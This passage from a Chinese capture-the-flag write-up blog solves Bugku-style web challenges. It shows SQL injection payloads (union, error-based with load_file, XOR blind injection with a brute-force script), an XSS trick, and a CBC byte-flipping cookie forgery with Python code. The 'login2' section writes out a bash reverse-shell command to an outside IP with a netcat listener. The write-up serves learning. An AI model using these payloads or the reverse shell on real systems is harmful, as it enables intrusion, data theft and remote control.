    首先我理解了一下goole到的這個payload是怎么完成攻擊的:網(wǎng)站并沒有屏蔽掉sql的錯誤提示信息,所以當(dāng)輸入id=4"><marquee><h1>hacked%20by%20-MR_0p3nx-</h 時,,由于sql語句錯誤,,就會在頁面上顯示報錯信息,并且這個信息沒有經(jīng)過任何處理,,那錯誤信息中包含的html標(biāo)簽就被當(dāng)作是代碼來處理了…就完成了攻擊,。

    那我接下來就在這個頁面,通過id來進(jìn)行注入了,。

    首先測試id=4 id=4' id=4'%23 ,,發(fā)現(xiàn)只有在id=4 時不會出錯…根據(jù)其他兩個的報錯信息,猜測在原本的sql語句中,,4是沒有用單引號或者雙引號括起來的(出現(xiàn)錯誤提示,,有可能是引號被轉(zhuǎn)義過了…但是在錯誤提示中引號是直接顯示的,并沒有經(jīng)過轉(zhuǎn)義,,所以猜測原sql語句并沒有使用引號),。那再構(gòu)造id=4 union select table_name from information_schema.tables ,提示列數(shù)不對應(yīng)…經(jīng)過測試,,正確的payload為:id=4 union select 1,2,3,table_name,4 from information_schema.tables ,所以的數(shù)據(jù)庫表名稱就都顯示在頁面中了,,如下:

    這里寫圖片描述

    這個題目做起來還是很快的…只是最開始的時候會不知道從哪里入手,,找到注入點之后就會簡單很多,跟之前做過的sql注入都是一樣的套路,。

  • 這是一個神奇的登陸框
    題目說這是一個神奇的登陸框…emmmmm…我試了好多次也不知道這個神奇在哪里,,一直都沒有找到攻擊的點。做出來這個題目也是比較湊巧….我先是假設(shè)了用戶名是admin,,然后在burpsuite爆破了一下,,發(fā)現(xiàn)在密碼為pong%%88時,,服務(wù)器響應(yīng)的內(nèi)容不一樣。然后在瀏覽器中輸入,,看到如下結(jié)果:

    這里寫圖片描述

    這個頁面終于有不一樣的地方出現(xiàn)了?。?!有報錯信息?。?!剛開始注意力一直集中在這個報錯信息上….沒什么想法(其實這個報錯信息跟解題就沒關(guān)系)….然后就突然想到既然錯誤信息會回顯,,那我就可以基于報錯來sql注入啊~然后構(gòu)造了

    admin_name=admin&admin_passwd=aa” union select database(),1#&submit=GO+GO+GO

    (當(dāng)然 select 兩列是試出來的,admin_name和admin_passwd都是注入點,,在任一個注入都可以,。)

    這里寫圖片描述

    得到了數(shù)據(jù)庫的名稱:bugkusql1 。(這個Login_Name也迷惑我了…剛開始一直以為Login_Name真的是登錄名…怪我太年輕…)

    接下來就要找表的個數(shù),、名稱,,列的個數(shù)、名稱,。這些都和之前sql注入題目類似,,就不一一寫出payload了。最終,,得到的表名為flag1,,列名為flag1。

    admin_name=bugkusql1&admin_passwd=bugkusql1"union select flag1,1 from bugkusql1.flag1#&submit=GO+GO+GO

    這里寫圖片描述

    現(xiàn)在看我整個的做題思路感覺還是很奇怪的…自己都不明白為什么最開始測試的時候沒有測試成功,,沒有找到注入點,。(可能因為我一直試的都是單引號!,?)

  • 多次

  • sql注入2

  • wordpress

  • login2
    這個題目是反彈shell,,參考了網(wǎng)上的答案。
    登錄的密碼為username=' union select md5(1),md5(1)#&password=1
    在服務(wù)器上使用 nc -l -p 8080 -vvv
    在網(wǎng)站中輸入 bash -i >& /dev/tcp/23.106.128.52/8080 0>&1
    可以看到反彈shell成功,,即可執(zhí)行想要的指令,。

    這里寫圖片描述

    這里寫圖片描述

  • login3
    在username中輸入等號、空格,、and,、union等都會提示是非法字符,說明服務(wù)器端過濾了一些字符,。還有兩種錯誤提示“username doesn’t exist”,、“password error”。求解的代碼如下:

import urllib.request
import requests
import string
import re

url = 'http://47.93.190.246:49167/'
guess = string.digits + string.ascii_lowercase
headers = {
    'Host':'47.93.190.246:49167',
    'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding':'gzip, deflate',
    'Content-Type':'application/x-www-form-urlencoded',
    'Content-Length':'101',
    'Referer':'http://47.93.190.246:49167/index.php',
    'Cookie':'PHPSESSID=k6dm30v64avs3652bl768dr7v0',
    'Connection':'close',
    'Upgrade-Insecure-Requests':'1'
    }

answer = ''

for i in range(1,50):
    flag = 0
    for j in guess:
        postuser = "'^(select(ascii(substring((select(password)from(admin))from(%d)))<>%d))^1#"%(i,ord(j))
        #ascii函數(shù)返回字符表達(dá)式最左端字符的ASCII碼值
        #這個題目里如果加上substring(xxx from 1 for 1)加上for的話就提示是非法字符了
        #ascii函數(shù)返回最左端,所以也就不需要substring的for了
        data = {'username':postuser,'password':'admin'}
        html = requests.post(url,headers = headers,data = data).text
        html = re.findall(r"<p align='center'>(.*?)</p>",html,re.S)[0]
        if 'username does not exist!' in html:
            answer += j
            flag = 1
            print(answer)
            break
    if flag == 0:
        break

print("password is" + answer)

和之前的注入程序很類似,,只是之前我們用到了union或者and這樣的,,這里因為都被過濾掉了,所以用了^ (異或),。用<> 來代替被過濾掉的= ,,用括號代替被過濾掉的空格,我們構(gòu)造的sql語句是:

'^(select(ascii(substring((select(password)from(admin))from(%d)))<>%d))^1#

第一個引號是為了閉合原本sql語句中的引號,。這里相當(dāng)于我們傳遞過去的username為空,,即在服務(wù)器端拼湊起來的句子是:

username=''^(select(ascii(substring((select(password)from(admin))from(%d)))<>%d))^1#'

username='' 一定是0,任何數(shù)與0異或為本身,,與1異或與本身相反,,所以最終這個語句的結(jié)果是和

(select(ascii(substring((select(password)from(admin))from(%d)))<>%d))

的結(jié)果相反的。那么錯誤提示就根據(jù)這個語句結(jié)果的不同而不同….(也不知道這樣的解釋是不是太繁瑣…反而解釋的更復(fù)雜了…)我們在提交請求之后判斷服務(wù)器的響應(yīng)即可,。

腳本得到的結(jié)果是md5加密的結(jié)果,,加密前為skctf123456,這就是用戶名為admin時的密碼,,登錄進(jìn)去就可以看到flag了,。

….就解釋到這里了…這個跟之前的題目相比,有一些新的知識點,,所以我第一次接觸的時候完全想不到,,以為只有用and這一種方法呢…其實也是一種常見的套路,理解了之后會用,,能想到用就可以了,,也不用糾結(jié)為什么會想到這樣處理….

  • 報錯注入
    題目的意思:告訴我們過濾了一下我們可能會用到的字符、關(guān)鍵字,,讓我們在這種情況下查詢文件/var/test/key_1.php 的內(nèi)容,,這個文件中雙引號包含的內(nèi)容就是我們要找的flag值。

    在網(wǎng)上了解一下報錯注入的原理,、用到的函數(shù),,讀取文件可以用的函數(shù)。

    這里用了load_file()函數(shù),,這個函數(shù)的參數(shù)可以是單引號,、0x、char轉(zhuǎn)換的字符,,題目過濾掉了單引號,,所以我們采用0x的方式,我們要讀取的文件/var/test/key_1.php 轉(zhuǎn)換為0x形式為:0x2f7661722f746573742f6b65795f312e706870 ,。在本地數(shù)據(jù)庫測試讀取文件內(nèi)容,發(fā)現(xiàn)load_file()函數(shù)的返回值是文件包含的字節(jié)數(shù),,所以改為hex(load_file()),,這樣就可以得到十六進(jìn)制形式的文件內(nèi)容了?,F(xiàn)在我們就可以得到文件內(nèi)容了,但是直接這樣作為payload是沒有報錯信息的(sql語句是正確的),。

    這里又利用了extravalue() 這個函數(shù),,它的作用是從目標(biāo)xml中返回包含所查詢值的字符串….當(dāng)然我們在報錯注入中并不是讓用它來查找字符串…我們利用了它的特點:當(dāng)它的第二個參數(shù)不是正確的地址形式字符串的時候就會出錯。我們將讀取到的文件內(nèi)容 (在其首尾都加上 0x7e ,,讓其一定不是地址形式字符串)作為它的第二個參數(shù),,然后我們就可以通過報錯信息知道當(dāng)前的地址字符串是什么,也就是我們從文件中讀出的內(nèi)容是什么,。

    最終構(gòu)造的payload為:(用%0a代替了空格,, 也可以用括號)

    id=1%0aand%0a(extractvalue(1,concat(0x7e,substring(hex(load_file(0x2f7661722f746573742f6b65795f312e706870))%0afrom%0a161%0afor%0a20),0x7e)))

    extractvalue() 函數(shù)的性質(zhì)是只能讀取32位,而文件中的每一個字符是用兩個十六進(jìn)制數(shù)來表示的,,所以是不能一次性讀出的,,就用substring()來每次讀20個,直到全部讀出,,然后再恢復(fù)為字符形式,,找到雙引號包含的內(nèi)容即可。)

    這里寫圖片描述

    也是有固定的套路的,,積攢經(jīng)驗,,下次見到時候能想到,會用即可,。報錯注入還有很多其他可以利用的sql函數(shù),,可以自己去百度學(xué)習(xí)一波。

  • 實戰(zhàn)1-注入
    這個題目和之前的實戰(zhàn)2-注入類似,,也是給了我們一個已有的網(wǎng)站,,讓我們找到網(wǎng)站的漏洞,并利用該漏洞進(jìn)行攻擊,。對網(wǎng)站進(jìn)行一個sql注入的測試,,發(fā)現(xiàn)在下面這個鏈接處有注入點。

    http://www./games/support.php?id=42

    構(gòu)造:http://www./games/support.php?id=42' 得到下圖結(jié)果,。

    這里寫圖片描述

    可以看到,,引號進(jìn)行了轉(zhuǎn)義,所以我們是不能直接輸入引號來完成我們的攻擊的(原本的sql語句應(yīng)該是沒有用到引號的),。在我們輸入的sql語句是錯誤的情況下,,會顯示報錯信息,我們就利用這個來進(jìn)行攻擊,。和之前的步驟一樣,,去依次得到數(shù)據(jù)庫名、表名。

    id=42%20and(length(database())<>9)%23 (這里輸入等號時會出錯,,所以用<> 來繞過,,得到數(shù)據(jù)庫長度)

    id=42%20and(ascii(substring((select database())from 1))<>105)%23 (可以寫一個python腳本來自動化測試,可以得到數(shù)據(jù)庫名)

    id=42%20and%20(ascii(substring((select%20(table_name)%20from%20information_schema.tables%20where%20TABLE_SCHEMA=0x696e746572706c6179%20limit%201)from%207))<>97)%23 (因為不能使用引號,,所以TABLE_SCHEMA就用十六進(jìn)制表示了,,這是從前面題目中load_file()函數(shù)那里得到的經(jīng)驗。因為flag是數(shù)據(jù)庫的第一個表名,,所以我們就不需要知道表的個數(shù)了,。)

    數(shù)據(jù)庫名為interplay,表名為banners

    或者使用sqlmap,,用到的指令和上面的“成績單”題目中一樣,,很快就可以得到結(jié)果,截圖如下:

    這里寫圖片描述

    這里寫圖片描述

  • Trim的日記本

  • login4
    題目說是cbc字節(jié)翻轉(zhuǎn)攻擊…之前沒聽說過,,看網(wǎng)上的writeup還挺長的…(只能慢慢啃了~)先是百度了一下什么是cbc字節(jié)翻轉(zhuǎn)攻擊,,了解了cbc模式的加密解密原理,也有介紹實現(xiàn)cbc字節(jié)翻轉(zhuǎn)攻擊的原理,。

    接下來就開始做題目了…掃描網(wǎng)站(burp+字典),,發(fā)現(xiàn)是有/.index.php.swp文件的(直接訪問該文件即可下載到),這種文件是在vim非正常退出的情況下保留的,,通過在vim中執(zhí)行vi -r filename指令可以恢復(fù)原文件,,即可以得到index.php文件。其中比較重要的代碼如下:

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}
function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo '<p>Hello admin</p>';
        echo '<p>Flag is $flag</p>';
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}
if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        /*顯示對應(yīng)的html文件,,此處省略*/
    }
}
?>

代碼稍微有點長,,可以自己畫一個流程圖來捋一下它是怎么實現(xiàn)功能的。

我們嘗試去以username = admiN password = aaaa登錄,,登錄成功后,,可以查看到有兩個cookie :

iv = acinHcBLKxqp%2FI889qh2bA%3D%3D
cipher = g8RbtxKHo%2BWjB3HEBZoQxCovn1DsHcq84n%2BNxloVN07LCEqn2GL6q5%2Bi8J6iDT9CTPW7JOXRxG4f6QyuW6ctcg%3D%3D

這兩個cookie都被進(jìn)行了url編碼,我們可以使用python中的unquote()函數(shù)來解碼,。

另外,,由index.php中的源碼我們可以得到,url解碼之后的兩個字符串是base64編碼的,,base64解碼后,,iv對應(yīng)的是初始化向量,cipher對應(yīng)的是密文(是對{'username':'admiN','password','aaaa'}數(shù)組序列化后的字符串加密),。這里稍微說的繁瑣點,,多理一下,第一次見這種題目可能會很繞,,至少我是這樣的,。

那我們要怎么做出這道題目呢,?

有兩種判斷(對應(yīng)if(isset($_POST['username']) && isset($_POST['password']))else)。

第一種:對輸入的username進(jìn)行了判斷,,如果是admin就說不允許登錄,,不是admin就說只有admin才能看到flag,這種判斷方式,,在login() 中賦值了$_SESSION["username"] ,又在show_homepage() 中使用了這個值來判斷,,我們沒辦法在這一過程中修改$_SESSION["username"],,從而也就是沒辦法拿到flag

還有另外一種是判斷有沒有 $_SESSION["username"] ,,有的話,,就在check_login() 函數(shù)中讀取cookie值,然后做處理,,給$_SESSION["username"] 賦值,,最終給show_homepage() 使用。在這個過程中,,我們可以操作cookie的值,,使最終賦值給$_SESSION["username"] 的值是admin,這樣就可以繞過在show_homepage() 函數(shù)中,,通過驗證,,拿到flag了。

那我們要做的事情就是修改兩個cookie 值,,讓他們在經(jīng)過解碼,,解密之后,可以得到admin,,而不是我們最開始輸入的admiN ,。

cbc字節(jié)反轉(zhuǎn)攻擊,就是要借助cbc內(nèi)部的模式,,修改某一組密文的某個字節(jié),,導(dǎo)致在下一明文當(dāng)中具有相同的偏移量的字節(jié)發(fā)生變化。這道題中的明文是(16個一組):

a:2:{s:8:"userna
me";s:5:"admiN";
s:8:"password";s
:4:"aaaa";}

通過以下代碼可以得到:

<?php
    $username = 'admiN';
    $password = 'aaaa';
    $info = array('username'=>$username,'password'=>$password);
    $str = serialize($info);
    echo $str;
    //執(zhí)行結(jié)果: a:2:{s:8:"username";s:5:"admiN";s:8:"password";s:4:"aaaa";}
?>

我們想改變第二組中的N,,那就要改變第一組中相同偏移量r (注意我們是要修改第一組的密文),。可以參考下圖:

這里寫圖片描述

修改的代碼如下:(剛開始在python3中運(yùn)行程序,,一直報錯…可能是編碼問題,,反正我懶得找原因了….)

#! python2
import urllib
import base64

cipher = 'g8RbtxKHo%2BWjB3HEBZoQxCovn1DsHcq84n%2BNxloVN07LCEqn2GL6q5%2Bi8J6iDT9CTPW7JOXRxG4f6QyuW6ctcg%3D%3D'
cipher = urllib.unquote(cipher) #url解碼
cipher = base64.b64decode(cipher)     #base64解碼,此時得到初始的密文
ciphernew = cipher[0:13] + chr(ord(cipher[13]) ^ ord('N') ^ ord('n')) + cipher[14:]

#這里給出一個我覺得比較好理解的解釋:
#cipher[13] ^ 解密(cipher[13 + 16]) = 'N' 這是正常情況下的解密過程
#cipher[13] ^ 'N' ^ 'n' ^ 解密(cipher[13 + 16]) = 'N' ^ 'N' ^ 'n'
print urllib.quote(base64.b64encode(ciphernew))

#輸出結(jié)果:g8RbtxKHo%2BWjB3HEBboQxCovn1DsHcq84n%2BNxloVN07LCEqn2GL6q5%2Bi8J6iDT9CTPW7JOXRxG4f6QyuW6ctcg%3D%3D

那我們就得到了修改后的密文了,,這個密文解密之后就可以得到我們想要的第二組明文 了,,但是還有個問題,,因為第一組密文解密時要用到初始化向量iv ,這里初始化向量還是以前的,,但是第一組密文已經(jīng)被我們修改過了,,那就沒辦法得到正確的第一組明文了。所以我們還需要修改初始化向量iv ,。修改代碼如下:

#! python2
import urllib
import base64

iv = base64.b64decode(urllib.unquote('acinHcBLKxqp%2FI889qh2bA%3D%3D'))
jiamingwen = base64.b64decode(urllib.unquote('iUxB417J08WzUpvaN9t0pW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjM6ImFhYSI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
    newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) 
print urllib.quote(base64.b64encode(newiv))

#輸出結(jié)果gb7UxOXxwucgjGGVpAFsqA%3D%3D
'''
iv ^ 解密(cipher) = 明文
iv ^ 解密(ciphernew) = 假明文
iv ^ 假明文 ^ 解密(ciphernew) = 0
iv ^ 假明文 ^ 解密(ciphernew) ^ 明文= 明文

ivnew = iv ^ 假明文 ^ 明文
從這些“公式”,,我們要知道假明文、真明文才能得到我們要的修改后的iv,,真明文就是我們真正需要的序列化字符串,,之前已經(jīng)寫出來了,假明文可以通過帶著修改后的cipher值去訪問網(wǎng)頁,,通過網(wǎng)頁報錯來看到,。
'''

所以我們修改后的cookie為:

cipher = g8RbtxKHo%2BWjB3HEBboQxCovn1DsHcq84n%2BNxloVN07LCEqn2GL6q5%2Bi8J6iDT9CTPW7JOXRxG4f6QyuW6ctcg%3D%3D

iv = gb7UxOXxwucgjGGVpAFsqA%3D%3D

帶著這兩個cookie值去訪問頁面,即可得到結(jié)果,。

這里寫圖片描述

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點,。請注意甄別內(nèi)容中的聯(lián)系方式,、誘導(dǎo)購買等信息,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多